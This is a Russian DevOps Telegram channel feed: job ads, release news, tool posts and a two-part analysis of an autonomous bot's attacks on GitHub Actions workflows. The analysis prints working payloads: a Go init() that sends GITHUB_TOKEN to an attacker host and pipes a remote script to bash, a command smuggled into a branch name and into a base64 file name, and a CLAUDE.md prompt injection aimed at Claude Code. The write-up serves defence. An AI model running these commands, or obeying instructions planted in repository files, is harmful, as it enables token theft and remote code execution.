Библиотека девопса | DevOps, SRE, Sysadmin
10.4K subscribers
1.8K photos
76 videos
4 files
3.15K links
Все самое полезное для девопсера в одном канале.

По рекламе: @proglib_adv

Учиться у нас: https://proglib.io/w/25874ec4

Для обратной связи: @proglibrary_feeedback_bot

РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Download Telegram
🤩 Топ-вакансий для девопсов за неделю

Middle DevOps Engineer — удалённо

Senior devops engineer — гибрид в Москве

DevOps инженер — от 250 000 до 400 000 ₽ и удалёнка

➡️ Еще больше топовых вакансий — в нашем канале Devops Jobs

🐸Библиотека devops'a

#вакансия_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
1
🖇 Умный прокси для YAML

YAML используется везде — Docker Compose, GitHub Actions, Kubernetes, Ansible.

Редактор не знает, что именно вы пишете, поэтому не может подсказывать правильные поля и ругаться на ошибки. Обычно приходится вручную писать в начале каждого файла: # yaml-language-server: $schema=... и указывать схему.

Что делает yaml-schema-router: он смотрит на содержимое файла и папку, где он лежит, и сам понимает, что это, к примеру, docker-compose.yml, значит нужна схема для него. И автоматически говорит об этом редактору.

Результат: редактор начинает нормально подсказывать поля, подчёркивать ошибки и показывать документацию.

➡️ Репозиторий

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM
🏗 Terraform Enterprise 1.2

Что нового:

UI-driven import для brownfield-ресурсов

Раньше импорт неуправляемых ресурсов требовал скриптов, знания HCL и ручного маппинга ID.

Теперь визуальный интерфейс: находим EC2-инстансы по тегу Owner:Finance, выбираем нужные, импортируем в workspace без единой строки кода.

Explorer теперь GA в Terraform Enterprise

После бета-периода Explorer официально доступен в self-managed TFE. Это централизованный дашборд-система учёта: состояние воркспейсов, соответствие версий, дрифт.

Работает на отдельной БД — отчёты не влияют на производительность основного движка. Есть CSV-экспорт и публичный API для аудитов.

Два новых эндпоинта:

/api/v1/health/readiness — для load balancer, без аутентификации
/api/v1/diagnostics — детальный статус для troubleshooting

Изоляция деградировавшего нода теперь занимает секунды, а не минуты. Старые health check эндпоинты задепрекейчены.

Terraform Actions — поддержка сторонних инструментов из провайдеров — теперь полностью в TFE
Replace resource прямо из UI — починить упавшую VM, не выходя из дашборда.

Важно при апгрейде: убрали поддержку PostgreSQL 13.

➡️ Блог разработчиков

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
😁1
🔒 Безопасность от написания манифеста до прода

Kubescape — это инструмент с открытым исходным кодом для комплексной безопасности кластеров, инкубационный проект CNCF.

Что умеет:

— Проверяет манифесты, Helm-чарты и живые кластеры на ошибки конфигурации и известные уязвимости

— Поддерживает CIS Benchmarks, NSA-CISA, MITRE ATT&CK, SOC 2 и другие фреймворки

— Проверяет наличие и корректность сетевых политик, помогает соблюдать принцип минимальных привилегий

— Мониторит активные кластеры и ловит подозрительную активность прямо в рантайме

— Работает с GitHub Actions, GitLab CI, VSCode, Lens — безопасность встраивается прямо в процесс разработки

Под капотом: Open Policy Agent для проверки политик, Grype для сканирования образов, eBPF через Inspektor Gadget для мониторинга ядра.

Попробовать:
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash


➡️ Репозиторий

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🎩 Red Hat OpenShift 4.21

Red Hat продолжает расширять присутствие OpenShift в экосистеме Oracle. После поддержки Oracle Cloud Infrastructure в версии 4.20 — теперь черёд Oracle Database Appliance (ODA).

Oracle Database Appliance — это инженерная система для небольших и распределённых организаций: оптимизированное железо, встроенная автоматизация, высокая доступность через Oracle RAC.

Раньше контейнерные приложения и Oracle-базы жили на отдельном железе. Теперь OpenShift в ODA можно запустить на том же аплайансе рядом с базой данных:

— Контейнеры и БД находятся на одном железе и задержка минимальная

— Весь стек от Kubernetes до данных на одном устройстве

— ODA часто стоит в филиалах и региональных офисах, теперь туда приходит и enterprise Kubernetes

— CI/CD и cloud-native практики на железе, которому уже доверяют

➡️ Блог RedHat

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
Последний шанс: 3 курса по цене 1 и запуск AI-агентов в продакшн

Развернуть контейнер в Docker — рутина, а вот обеспечить Observability для мультиагентной LLM-системы — это боль. Как отслеживать стоимость токенов, логировать «галлюцинации» и не нарушить 152-ФЗ?

В обновлённой программе фокус смещён на AgentOps, жёсткий инжиниринг и вывод в прод. Вы научитесь настраивать метрики производительности, работать с LangGraph, внедрять RAG и протоколы MCP. Все ключевые навыки в одном месте: трассировка ошибок, time-travel дебаггинг, защита от деградации систем, human-in-the-loop и развёртывание отечественных моделей в закрытых контурах.

Почему нельзя откладывать:

— масштабная акция «3 курса по цене 1» сгорит уже завтра;
— промокод Agent на скидку 10 000 рублей действует последние часы;
— сразу после оформления открываются материалы для подготовки — начать учиться можно прямо сейчас.

Забронировать место на курсе и забрать бонусы до 28 февраля
🤔 Вопрос на засыпку

Kubernetes-собеседование — и вот вам классический вопрос:
В чём отличие меток от аннотаций в Kubernetes?


Подсказка: оба механизма добавляют метаданные к объектам, но используются для принципиально разных целей.

Знаете ответ? ➡️ Проверьте себя

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#задача_со_звёздочкой
Please open Telegram to view this post
VIEW IN TELEGRAM
4
🔒 Passkeys и шифрование данных

Всё больше компаний используют passkeys с расширением PRF (Pseudo-Random Function) не только для аутентификации, но и для шифрования пользовательских данных — переписки, файлов, крипто-кошельков, резервных копий.

В чём проблема

Проблема в том, что не все разработчики подписаны на наш канал по инфобезу.

На самом деле, когда аутентификация и шифрование совмещены в одном ключе — радиус поражения при его потере становится катастрофическим.

Представьте: пользователь включил зашифрованные резервные копии в мессенджере через passkey. Через несколько месяцев заходит в менеджер паролей, видит незнакомую запись и удаляет её. Никакого предупреждения, просто «Удалить passkey?».

Год спустя — новый телефон, попытка восстановить резервную копию. Passkey больше нет. Фотографий и остального тоже нет.

Apple Passwords, Google Password Manager и Bitwarden при удалении passkey никак не предупреждают, что вместе с ним будут безвозвратно уничтожены зашифрованные данные. Пользователь не может и не должен знать об этой связи.

У PRF в WebAuthn есть легитимные применения, например, разблокировка самого менеджера паролей, где есть механизмы восстановления. Но шифровать пользовательские данные напрямую опасно.

➡️ Оригинал

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#локализация
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
📰 Релизы недели и не только

Собрали материалы недели, которые вы могли пропустить в потоке.

Docker Model Runner теперь запускает vLLM на macOS

Владельцы Mac на Apple Silicon теперь могут запускать MLX-модели через vLLM с тем же OpenAI-совместимым API и привычным Docker-воркфлоу

Вышел Tails 7.5

В основе новой версии лежит пакетная база Debian 13 и ядро Linux 6.12 LTS

Wine 11.3

Локальный AI-агент

Terraform Enterprise 1.2

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#дайджест_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
Хватит просто «обслуживать» чужой код. Построй архитектуру как кофаундер 🚀

Proglib App — EdTech-платформа с ИИ-фишками, курсами и квизами. MVP в продакшене, пользователи учатся. Проекту нужен технический партнёр, который возьмёт на себя разработку и архитектуру сервиса.

Это шанс применить опыт в автоматизации и надёжности для создания продукта с нуля.

🛠️ Стек проекта:

TypeScript, React 18, Express 5, PostgreSQL, Drizzle ORM.

Твои задачи:

• Проектировать масштабируемую архитектуру и пилить фичи.
• Обеспечивать CI/CD, писать тесты и делать код-ревью.
• Развивать ИИ-инструменты платформы.

Идеальный мэтч, если:

• Уверенно знаешь TS, Node.js и понимаешь React.
• Умеешь строить надёжные системы без овер-инжиниринга.
• Используешь Claude Code и Cursor для ускорения поставки фич.

Удалёнка, отсутствие бюрократии, работа напрямую с основателем (он тоже кодит).

Готов превратить MVP в эталон инженерной мысли? Пиши о себе в бота 👇

@proglibrary_feedback_bot
🤔1
🎃 ИИ-бот, который ломает GitHub Actions

С 21 по 28 февраля автономный бот атаковал CI/CD-пайплайны Microsoft, DataDog и CNCF. 4 из 5 репозиториев скомпрометированы. В одном случае утёк токен с правами на запись.

GitHub-аккаунт hackerbot-claw систематически сканировал публичные репозитории на уязвимые GitHub Actions-воркфлоу. Бот описывает себя как «автономный агент безопасности на базе claude-opus-4-5» и даже просит донаты в крипту.

За 7 дней он сделал следующее: форкнул 5 репозиториев, открыл 12 пул-реквестов, достиг выполнения произвольного кода в 4 из них и слил GITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.

Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.

➡️ Источник

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🤔31
Библиотека девопса | DevOps, SRE, Sysadmin
🎃 ИИ-бот, который ломает GitHub Actions С 21 по 28 февраля автономный бот атаковал CI/CD-пайплайны Microsoft, DataDog и CNCF. 4 из 5 репозиториев скомпрометированы. В одном случае утёк токен с правами на запись. GitHub-аккаунт hackerbot-claw систематически…
📎 Один бот, пять техник

За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.

Атака 1. avelino/awesome-go — кража токена через Go init()

Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.

Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.

В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}


Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.

Атака 2. project-akri/akri — прямая инъекция в shell-скрипт

Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()


Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.

Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.

Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки

Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)


Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref


Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...


Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.


Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла

Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md


При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.

Атака 5. ambient-code/platform — prompt injection в CLAUDE.md

Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.

Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.

Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.

Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
1👾1
💻 Linux 7.0 стартовал неспокойно

Второй релиз-кандидат ядра оказался заметно крупнее обычного, и Линус Торвальдс этим явно недоволен.

RC2 для Linux 7.0 вышел значительно больше, чем типичные RC2-релизы. Сам Торвальдс назвал это случайным шумом, но количество коммитов указывает на нестабильное начало цикла разработки.

Необычно то, что драйверы занимают лишь 25% изменений, хотя в ранних RC традиционно доминируют именно они. Большую часть обновлений составляют ядро, сетевой стек и файловые системы, то есть изменения с более высоким риском дестабилизировать систему целиком.

Торвальдс объясняет это эффектом накопленного долга из цикла Linux 6.19, который был продлён на одну неделю. Из-за этого скопился большой объём работы, который теперь разом хлынул в 7.0.

➡️ Источник

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚31🤔1
🔐 Шифруем файлы на Python за 10 строк

Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
from cryptography.fernet import Fernet

def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)

with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())

with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)

print(f"File encrypted! Key: {key.decode()}")

if __name__ == "__main__":
encrypt_file("secrets.txt")


Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.

⚠️ Не храните ключ рядом с зашифрованным файлом.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#root_prompt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
😈 Хватит быть хорошим

По неофициальной статистике, нужно около тысячи откликов, чтобы получить 2-3 приглашения на собеседование. Добавьте к этому нормализованный гостинг, многоступенчатые отборы без обратной связи и скрытые вакансии, которые никогда не появятся на хх.ру — и картина станет полной.

В таких условиях побеждает не тот, кто лучше, а тот, кто хитрее.

➡️ Семь конкретных тактик для поиска IT-работы в 2026 году

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤔1
📱 Телефон девопса

Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.

Голосуйте 👆

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#холиварня
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 elementary OS 8.1.1

Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.

Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».

Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.

Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.

Ещё в комплекте идёт ядро Linux 6.17.

➡️ Источник

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21